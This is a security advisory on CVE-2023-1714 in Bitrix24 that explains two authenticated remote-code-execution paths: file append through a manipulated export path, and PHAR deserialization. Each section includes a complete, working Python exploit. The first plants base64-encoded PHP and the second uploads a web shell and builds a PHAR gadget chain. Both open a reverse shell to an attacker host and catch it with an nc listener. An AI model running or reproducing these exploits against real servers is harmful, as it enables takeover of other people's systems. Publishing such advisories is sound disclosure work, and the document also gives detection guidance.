Summary:

Product Bitrix24
Vendor Bitrix24
Severity High
Affected Versions Bitrix24 22.0.300 (latest version as of writing)
Tested Versions Bitrix24 22.0.300 (latest version as of writing)
CVE Identifier CVE-2023-1714
CVE Description Unsafe variable extraction in bitrix/modules/main/classes/general/user_options.php in Bitrix24 22.0.300 allows remote authenticated attackers to execute arbitrary code via (1) appending arbitrary content to existing PHP files or (2) PHAR deserialization.
CWE Classification(s) CWE-73 External Control of File Name or Path; CWE-502 Deserialization of Untrusted Data
CAPEC Classification(s) CAPEC-549 Local Execution of Code

1. RCE via appending arbitrary content to existing PHP files

CVSS3.1 Scoring System:

Base Score: 8.8 (High) Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Vulnerability Details:

This report presents information on an insecure file append vulnerability in Bitrix24 which allows an adversary to run arbitrary commands on the affected web server.

It was discovered that the init function of the Export controller located at bitrix/modules/main/lib/controller/export.php allows an attacker to control several properties within the Export class, including the filePath property. This stems from the incorrect assumption that the value returned from CUserOptions::GetOption cannot be controlled by an attacker.

The filePath property is used by the exportAction function to determine the file where attacker controlled exported data should be written to. Thus, by controlling this property, an attacker can append nearly arbitrary data to any file, including PHP files, and thus achieveing remote code execution.

The Export controller is subclassed by several other controllers, each responsible for exporting entities related to its own module. For this report, we will focus on the crm export controller located at bitrix/modules/crm/lib/controller/export.php, though the vulnerability is present in any class that extends Bitrix\Main\Controller\Export.

The Bitrix\Main\Controller\Export::init function is called when a POST request is made to https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export.

// bitrix/modules/main/lib/controller/export.php lines 205 to 220

$progressData = $this->getProgressParameters(); // [1]
if (count($progressData) > 0)
{
    $this->isNewProcess = (empty($progressData['processToken']) || $progressData['processToken'] !== $this->processToken);
    if (!$this->isNewProcess)
    {
        // restore state
        foreach ($this->fieldToStoreInProcess as $fieldName) // [2]
        {
            if (isset($progressData[$fieldName]))
            {
                $this->{$fieldName} = $progressData[$fieldName]; // [3]
            }
        }
    }
}

In [1] the getProgressParameters() function is called to retrieve any progress that has been made since the previous request. This function calls and returns the result of the CUserOptions::GetOption. In the next section, we will examine the getProgressParameters() function in greater detail and show that the return value of this function can be almost completely controlled by an attacker.

Next, if the processToken of the saved progress data matches that sent in the request, control flow enters the loop at [2]. As the $progressData variable is controlled by the attacker, this condition is trivial to satisfy.

For each property whitelisted in the $this->fieldToStoreInProcess array, if the property also exists in the attacker controlled $progressData variable, the value of the property in the Bitrix\Main\Controller\Export class will be overwritten by the value in $progressData. As filePath is one of the whitelisted properties, an attacker can thus control the filePath property on the Bitrix\Main\Controller\Export class.

After saved properties are reinitialized, the action handler function, exportAction is called:

public function exportAction(){

    // initalize properties if not already set by init()

    // line 454
    ob_start();
    $componentResult = $APPLICATION->IncludeComponent(  // [4]
        $this->componentName,
        '',
        $componentParameters
    );
    $exportData = ob_get_contents();
    ob_end_clean();

    $processedItemsOnStep = 0;

    if (is_array($componentResult))
    {
        // set $processedItemsOnStep to the number of items exported
    }

    if ($this->totalItems == 0)
    {
        break;
    }

    if ($processedItemsOnStep > 0)
    {
        $this->processedItems += $processedItemsOnStep;

        $this->writeTempFile($exportData, ($nextPage === 1)); // [5]
        unset($exportData);

        $this->isExportCompleted = ($this->processedItems >= $this->totalItems);

        if ($this->isExportCompleted && !$this->isCloudAvailable)
        {
            // adjust completed file size
            $this->fileSize = $this->getSizeTempFile();
        }
    }
}

The exportAction function includes a component based on the COMPONENT_NAME request body parameter. For example, to export crm contacts, the crm.contact.list component is included at [4]. The output of this component is a list of contacts in CSV format stored in the $exportData variable. An attacker can control parts of the exported data by creating contacts with malicious payloads hidden in the SOURCE_DESCRIPTION field.

Next, the writeTempFile function is called to write $exportData to a file:

// bitrix/modules/main/lib/controller/export.php lines 1296 to 1315

protected function writeTempFile($data, $precedeUtf8Bom = true)
{
    $file = fopen($this->filePath, 'ab'); // [6]
    if(is_resource($file))
    {
        // add UTF-8 BOM marker
        if (\Bitrix\Main\Application::isUtfMode() || defined('BX_UTF'))
        {
            if($precedeUtf8Bom === true && (filesize($this->filePath) === 0))
            {
                fwrite($file, chr(239).chr(187).chr(191));
            }
        }
        fwrite($file, $data);  // [7]
        fclose($file);
        unset($file);

        $this->fileSize = filesize($this->filePath);
    }
}

The file specified by the attacker controlled filePath property is opened in append mode at [6] and the exported data is appended to it at [7].

Therefore, an attacker can append arbitrary PHP code to a PHP file, resulting in remote command execution.

Attacker-controlled User Options

In this section we will show how an authenticated attacker can alter their own user options, thus controlling the return value of any CUserOptions::GetOption call and eventually the filePath property of the Bitrix\Main\Controller\Export class.

First, we observe that the getProgressParameters() is just a simple wrapper over a CUserOptions::GetOption call at [8]. In the case of exporting CRM contacts, this->module is 'crm' and $this->getProgressParameterOptionName() is 'crm_cloud_export_CONTACT'.

// bitrix/modules/main/lib/controller/export.php lines 1165 to 1174

protected function getProgressParameters()
{
    $progressData = \CUserOptions::GetOption($this->module, $this->getProgressParameterOptionName()); // [8]
    if (!is_array($progressData))
    {
        $progressData = array();
    }

    return $progressData;
}

Although this class assumes that the return value of CUserOptions::GetOption cannot be arbitrarily controlled by an attacker, there are several ways to do so. In this section, we will examine one of them.

The CUserOptions::SetOptionsFromArray function found in bitrix/modules/main/classes/general/user_options.php lines 216 to 243 can be used to set any user option.

This function is called by CUserOptions::SetCookieOptions, shown below:

// bitrix/modules/main/classes/general/user_options.php lines 317 to 329

public static function SetCookieOptions($cookieName)
{
    //last user setting
    $varCookie = array();
    parse_str($_COOKIE[$cookieName], $varCookie); // [9]
    setcookie($cookieName, false, false, "/");
    if (is_array($varCookie["p"]) && $varCookie["sessid"] == bitrix_sessid())
    {
        $arOptions = $varCookie["p"];
        CUtil::decodeURIComponent($arOptions);
        CUserOptions::SetOptionsFromArray($arOptions); // [10]
    }
}

This function retrieves the user options from a user supplied cookie at [9], parses it as a query string, then calls CUserOptions::SetOptionsFromArray on the result at [10].

The CUserOptions::SetCookieOptions function is in turn called by the CAllMain::PrologActions function, if the $cookieName cookie is set. The default cookie name is BITRIX_SM_LAST_SETTINGS.


public static function PrologActions(){
    
    // ...
    
    // bitrix/modules/main/classes/general/main.php lines 3497 to 3501
    $cookieName = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_LAST_SETTINGS";
    if(!empty($_COOKIE[$cookieName]))
    {
        CUserOptions::SetCookieOptions($cookieName);
    }
    
    // ...
}

The CAllMain::PrologActions function is called in bitrix/modules/main/include/prolog_before.php which is included in nearly every Bitrix24 route. Therefore, by setting the BITRIX_SM_LAST_SETTINGS cookie, an attacker can easily manipulate their own user options.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the insecure file append vulnerability and opens a reverse shell connection to the victim web server. The reverse shell code, defined in the CODE_TO_INJECT variable, is appended to the file specified in TARGET_FILE.

A sample exploit script is shown below:

# Bitrix24 Insecure File Append RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64

import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"

LPORT = 9001
LHOST = "192.168.86.43"

PROXY = {"http": "http://localhost:8080"}

CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); 
"""


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def set_progress_data(session, sessid):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded(
                            {
                                "p": [{
                                    "c": "crm",
                                    "v": {
                                        "filePath": f"{ROOT_PATH}{TARGET_FILE}",
                                        "processToken": "b",
                                    },
                                    "n": "crm_cloud_export_CONTACT"
                                }],
                                "sessid": sessid
                            }
                        )))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def trigger_file_append(session, sessid):
    print(f"[+] Appending payload to target file")
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data={
            "ENTITY_TYPE": "CONTACT",
            "EXPORT_TYPE": "csv",
            "COMPONENT_NAME": "bitrix:crm.contact.list",
            "PROCESS_TOKEN": "b",
            "REQUISITE_MULTILINE": "Y",
            "EXPORT_ALL_FIELDS": "Y",
            "INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
            "INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
        }
    )


def delete_contact(session: requests.Session, sessid, contactId):
    print(f"[+] Deleting contact {contactId}")
    res = session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[gridId]=CRM_CONTACT_LIST_V12&params[entityTypeId]=3&params[extras][CATEGORY_ID]=0&params[entityIds][0]={contactId}",
    )
    hash = res.json()["data"]["hash"]
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[hash]={hash}",
    )
    print(f"[+] Contact {contactId} deleted")


def create_contact(session: requests.Session, sessid):
    payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
    res = session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
        },
        data={
            "PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
            "PARAMS[CATEGORY_ID]": "0",
            "EDITOR_CONFIG_ID": "contact_details",
            "HONORIFIC": "",
            "LAST_NAME": "",
            "NAME": "Definitely not Attacker",
            "SECOND_NAME": "",
            "BIRTHDATE": "",
            "POST": "",
            "PHONE[n0][VALUE]": "",
            "PHONE[n0][VALUE_TYPE]": "WORK",
            "EMAIL[n0][VALUE]": "",
            "EMAIL[n0][VALUE_TYPE]": "WORK",
            "WEB[n0][VALUE]": "",
            "WEB[n0][VALUE_TYPE]": "WORK",
            "IM[n0][VALUE]": "",
            "IM[n0][VALUE_TYPE]": "FACEBOOK",
            "CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
            "TYPE_ID": "CLIENT",
            "SOURCE_ID": "CALL",
            "SOURCE_DESCRIPTION": payload,
            "OPENED": "Y",
            "EXPORT": "Y",
            "ASSIGNED_BY_ID": "3",
            "COMMENTS": "",
            "contact_0_details_editor_comments_html_editor": "",
            "ACTION": "SAVE",
            "ACTION_ENTITY_ID": "",
            "ACTION_ENTITY_TYPE": "C",
            "ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
        }
    )
    contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
    print(f"[+] Created contact {contactId}")
    return int(contactId)


def reverse_shell():
    requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    contactId = create_contact(s, sessid)
    try:
        set_progress_data(s, sessid)
        trigger_file_append(s, sessid)
    finally:
        delete_contact(s, sessid, contactId)
    threading.Thread(target=reverse_shell).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT)])

Exploit Conditions:

This vulnerability can be exploited when the attacker has access to the CRM feature and permission to create and export contacts. This level of access may be granted if the user is in the management board group.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking if any PHP files have been recently modified. Alternatively, the traffic logs can be examined to check if any of the BITRIX_SM_LAST_SETTINGS cookies sent to the server contain the string filePath.

2. RCE via PHAR deserialization

CVSS3.1 Scoring System:

Base Score: 8.8 (High) Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Vulnerability Details:

This report presents information on a PHAR deserialization vulnerability in Bitrix24 which allows an adversary to run arbitrary commands on the affected web server.

It was discovered that the code in bitrix/components/bitrix/crm.contact.list/stexport.ajax.php allows an attacker to call the file_exists function on arbitrary input. This stems from the incorrect assumption that the value returned from CUserOptions::GetOption cannot be controlled by an attacker. When Bitrix is run with PHP version <8, an attacker may use the phar:// protocol to load a malicious .phar file, which would lead to Remote Code Execution via PHP Object Injection.

// bitrix/components/bitrix/crm.contact.list/stexport.ajax.php line 127

$progressData = CUserOptions::GetOption('crm', 'crm_stexport_contact', ''); // [1]
if (!is_array($progressData))
    $progressData = array();

$lastToken = isset($progressData['PROCESS_TOKEN']) ? $progressData['PROCESS_TOKEN'] : '';
$isNewToken = ($processToken !== $lastToken); // [2]
// ...
if ($isNewToken)
{
    $filePath = '';
    // ...
}
else
{
    $filePath = isset($progressData['FILE_PATH']) ? 
        $progressData['FILE_PATH'] : 0; // [3]
    // ...
}

In [1], the existing progress data for current export process is loaded from user options via CUserOptions::GetOption. We will show in the next section that this value can completely controlled by an attacker.

If the process token in the saved progress data matches that sent in the request, the $isNewToken is set to false and control flow enters the else block. The $filePath variable is initialized from the attacker controlled $progressData object ([3]), along with other variables.

After saved variables are loaded, some checks are performed on the $filePath variable:

// bitrix/components/bitrix/crm.contact.list/stexport.ajax.php line 160

if (!is_string($filePath) || $filePath == '' || !CheckDirPath($filePath)){
    // ...
}

The CheckDirPath function calls file_exists on the path, after removing the file name:

// bitrix/modules/main/tools.php lines 2347 to 2370

function CheckDirPath($path)
{
	//remove file name
	if(mb_substr($path, -1) != "/")
	{
		$p = mb_strrpos($path, "/");
		$path = mb_substr($path, 0, $p);
	}

	$path = rtrim($path, "/");

	if($path == "")
	{
		//current folder always exists
		return true;
	}

	if(!file_exists($path))
	{
		return mkdir($path, BX_DIR_PERMISSIONS, true);
	}

	return is_dir($path);
}

Therefore, an attacker could call the file_exists function with an arbitrary scheme, such as phar://, which could lead to the deserialization of PHP objects that are contained within the phar’s metadata. We discuss one example of such an object chain that would lead to RCE.

The PropertiesDialog class, found at bitrix/modules/bizproc/lib/activity/propertiesdialog.php, contains the following __toString function:

// lines 402 to 423

public function __toString()
{
    if ($this->renderer !== null)
    {
        return call_user_func($this->renderer, $this);
    }

    $runtime = \CBPRuntime::getRuntime();
    $runtime->startRuntime();

    return (string)$runtime->executeResourceFile(
        $this->activityFile,
        $this->dialogFileName,
        array_merge(array(
            'dialog' => $this,
            //compatible parameters
            'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
            'formName' => $this->getFormName()
            ), $this->getRuntimeData()
        )
    );
}

// lines 471 to 474
public function getRuntimeData()
{
    return $this->runtimeData;
}

The $runtime->executeResourceFile function is called. Note that all parameters to this function are attacker controllable as they are either properties of the PropertiesDialog class ($this->activityFile and $this->dialogFileName) or are derived from them ($this->runtimeData via $this->getRuntimeData()). As an attacker has a PHP object deserialization primitive, they can controll these properties.

The ExecuteResourceFile function performs two checks ([4] and [5]) before calling include on $path[0] ([6]):

// bitrix/modules/bizproc/classes/general/runtime.php lines 571 to 588

public function ExecuteResourceFile($activityPath, $filePath, $arParameters = array())
{
    $result = null;
    $path = $this->GetResourceFilePath($activityPath, $filePath); // [4]
    if ($path != null)
    {
        ob_start();

        foreach ($arParameters as $key => $value)
            ${$key} = $value; // [7]

        $this->LoadActivityLocalization($path[1], $filePath); // [5]
        include($path[0]); // [6]
        $result = ob_get_contents();
        ob_end_clean();
    }
    return $result;
}

It was determined that setting $activityPath to null and $filePath to stexport.php would allow both checks to pass. However, the value of $path[0] would be stexport.php and not an attacker controlled location.

However, the code at [7], which sets each property of the attacker controlled $arParameters variable as a local variable, allows an attacker to override the $path variable after the completion of the first check but before the second check. This allows an attacker to modify $path[0] to an attacker controlled path.

As the second check only involves $path[1] and $filePath, modification of $path[0] will not result in the check failing.

Therefore, an attacker can use the PropertiesDialog class to include arbitrary files.

There are several classes that would trigger the __toString method of PropertiesDialog when they are destructed. One such class is CCloudsDebug, found in bitrix/modules/clouds/include.php:

// line 39 
class CCloudsDebug
{
    protected static $instances = array();
    public static function getInstance($action = "counters")
    {
        // ...
    }

    protected $head = '';
    protected $id = '';
    public function __construct($action)
    {
        // ...
    }

    public function __destruct()
    {
        $cloudsKey = $this->head."|".$this->id."|mess"; // [8]
        $prevTrace = apcu_fetch($cloudsKey);
        if ($prevTrace)
            AddMessage2Log($prevTrace, "clouds", 0);
        apcu_delete($cloudsKey);
        apcu_delete($this->head."|".$this->id);
    }
    
    // ...
}

At [8], the head property is concatenated with a string. This causes the __toString method of $this->head to be called. Thus, an attacker could trigger the arbitrary file include detailed above by setting $this->head to a specially constructed PropertiesDialog object.

Finally, an attacker requires a method to upload the malicious PHAR file to the server. This method would also have to disclose the path of the PHAR file on the server.

It was discovered that an authenticated attacker could upload images via changing the profile picture of a CRM contact. The endpoint used for this process (/bitrix/components/bitrix/main.file.input/ajax.php) discloses the path of the uploaded image. A PHAR/JPG polyglot (based on code by kunte0 found here) was used to pass checks on the validity of the uploaded image.

Attacker-controlled User Options

The root cause of this vulnerability is the incorrect assumption that the return value of CUserOptions::GetOption cannot be arbitrarily controlled by an attacker. However, there are several ways to do so. In this section, we will examine one of them.

The CUserOptions::SetOptionsFromArray function found in bitrix/modules/main/classes/general/user_options.php lines 216 to 243 can be used to set any user option.

This function is called by CUserOptions::SetCookieOptions, shown below:

// bitrix/modules/main/classes/general/user_options.php lines 317 to 329

public static function SetCookieOptions($cookieName)
{
    //last user setting
    $varCookie = array();
    parse_str($_COOKIE[$cookieName], $varCookie); // [9]
    setcookie($cookieName, false, false, "/");
    if (is_array($varCookie["p"]) && $varCookie["sessid"] == bitrix_sessid())
    {
        $arOptions = $varCookie["p"];
        CUtil::decodeURIComponent($arOptions);
        CUserOptions::SetOptionsFromArray($arOptions); // [10]
    }
}

This function retrieves the user options from a user supplied cookie at [9], parses it as a query string, then calls CUserOptions::SetOptionsFromArray on the result at [10].

The CUserOptions::SetCookieOptions function is in turn called by the CAllMain::PrologActions function, if the $cookieName cookie is set. The default cookie name is BITRIX_SM_LAST_SETTINGS.


public static function PrologActions(){
    
    // ...
    
    // bitrix/modules/main/classes/general/main.php lines 3497 to 3501
    $cookieName = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_LAST_SETTINGS";
    if(!empty($_COOKIE[$cookieName]))
    {
        CUserOptions::SetCookieOptions($cookieName);
    }
    
    // ...
}

The CAllMain::PrologActions function is called in bitrix/modules/main/include/prolog_before.php which is included in nearly every Bitrix24 route. Therefore, by setting the BITRIX_SM_LAST_SETTINGS cookie, an attacker can easily manipulate their own user options.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the PHAR deserialization vulnerability and opens a reverse shell connection to the victim web server.

A sample exploit script is shown below:

# Bitrix24 PHAR Deserialization RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"

ROOT_PATH = "/var/www/html/"

PORT = 9001
LHOST = "192.168.86.125"

PROXY = {"http": "http://localhost:8080"}


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def upload_web_shell(s, sessid):
    data = f"""
    <?php 
    sleep(2);
    $sock=fsockopen("{LHOST}", {PORT});
    $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
    return upload(s, sessid, data)


def upload(session, sessid, data):
    CID = random.randint(0, pow(10, 5))
    resp = session.post(
        HOST + "/desktop_app/file.ajax.php?action=uploadfile",
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
        },
        files={
            "bxu_files[0][default]": (
                "file",
                data,
                "text/plain",
            )
        },
        proxies=PROXY,
    ).json()
    return resp["files"][0]["file"]["files"]["default"]["tmp_name"]


def make_phar(path):
    os.system("rm ./test.phar")
    print(f"[+] Creating PHAR")
    os.system(f"php --define phar.readonly=0 create_phar.php {path}")
    return open("./test.phar", 'rb').read()


def set_progress_data(session, sessid, path):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded([{
                            "c": "crm",
                            "v": {
                                "FILE_PATH": f"phar://{path}/a",
                                "PROCESS_TOKEN": "b",
                            },
                            "n": "crm_stexport_contact"
                        }], "p"
                        ) | {"sessid": sessid}))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def get_upload_params(session, sessid):
    resp = session.post(
        HOST
        + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
        + sessid,
        data={
            "FIELD_NAME": "PHOTO",
            "ACTION": "RENDER_IMAGE_INPUT",
            "ACTION_ENTITY_ID": "0",
        },
    )
    controlUid = re.search(
        re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
    ).group(1)
    controlSign = re.search(
        re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
    ).group(1)
    urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
    user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
    return controlUid, controlSign, urlUpload, user_id


def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
    resp = session.post(
        HOST + urlUpload,
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_files[file167][name]": "bitrix-out.jpg",
            "bxu_files[file167][type]": "image/jpg",
            "bxu_files[file167][size]": "10",
            "AJAX_POST": "Y",
            "USER_ID": user_id,
            "sessid": sessid,
            "SITE_ID": SITE_ID,
            "bxu_info[controlId]": "bitrixUploader",
            "bxu_info[CID]": controlUid,
            "cid": controlUid,
            "moduleId": "crm",
            "allowUpload": "I",
            "uploadMaxFilesize": "3145728",
            "bxu_info[uploadInputName]": "bxu_files",
            "bxu_info[version]": "1",
            "bxu_info[mode]": "upload",
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": "pIndex1",
            "mfi_mode": "upload",
            "mfi_sign": controlSign,
        },
        files={
            "bxu_files[file167][default]": (
                "bitrix-out.jpg",
                data,
                "image/jpg",
            )
        },
        proxies=PROXY,
    )
    full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
    return re.search(
        re.compile(
            "/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
        ),
        full_path,
    ).group(1)


def trigger_file_exists(session, sessid):
    session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=nested_to_urlencoded({
            "SITE_ID": SITE_ID,
            "ENTITY_TYPE_NAME": "CONTACT",
            "EXPORT_TYPE": "csv",
            "PROCESS_TOKEN": "b",
        }, "PARAMS") | {"ACTION": "STEXPORT"}
    )


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    webshell_path = upload_web_shell(s, sessid)
    ROOT_PATH = webshell_path[:webshell_path.index("upload")]
    print(f"[+] Webshell uploaded to '{webshell_path}'")
    controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
    data = make_phar(webshell_path)
    path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
    path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
    print(f"[+] PHAR uploaded to '{path}'")
    set_progress_data(s, sessid, path)
    print(f"[+] Triggering file_exists phar deserialization")
    threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(PORT)])

The following PHP files also need to be present in the same directory:

create_phar.php:

<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;

include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
	public $activityFile;
	public $dialogFileName = 'properties_dialog.php';
	public $map;
	public $mapCallback;
	public $documentType;
	public $activityName;
	public $workflowTemplate;
	public $workflowParameters;
	public $workflowVariables;
	public $currentValues;
	public $formName;
	public $siteId;
	public $renderer;
	public $context;
    public $runtimeData = array();

	public function __toString()
	{
		if ($this->renderer !== null)
		{
			return call_user_func($this->renderer, $this);
		}

		$runtime = \CBPRuntime::getRuntime();
		$runtime->startRuntime();

		return (string)$runtime->executeResourceFile(
			$this->activityFile,
			$this->dialogFileName,
			array_merge(array(
				'dialog' => $this,
				//compatible parameters
				'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
				'formName' => $this->getFormName()
				), $this->getRuntimeData()
			)
		);
	}
}

$cloudDebug = new CCloudsDebug();

$dialog = new PropertiesDialog();


$dialog->dialogFileName = "stexport.php";
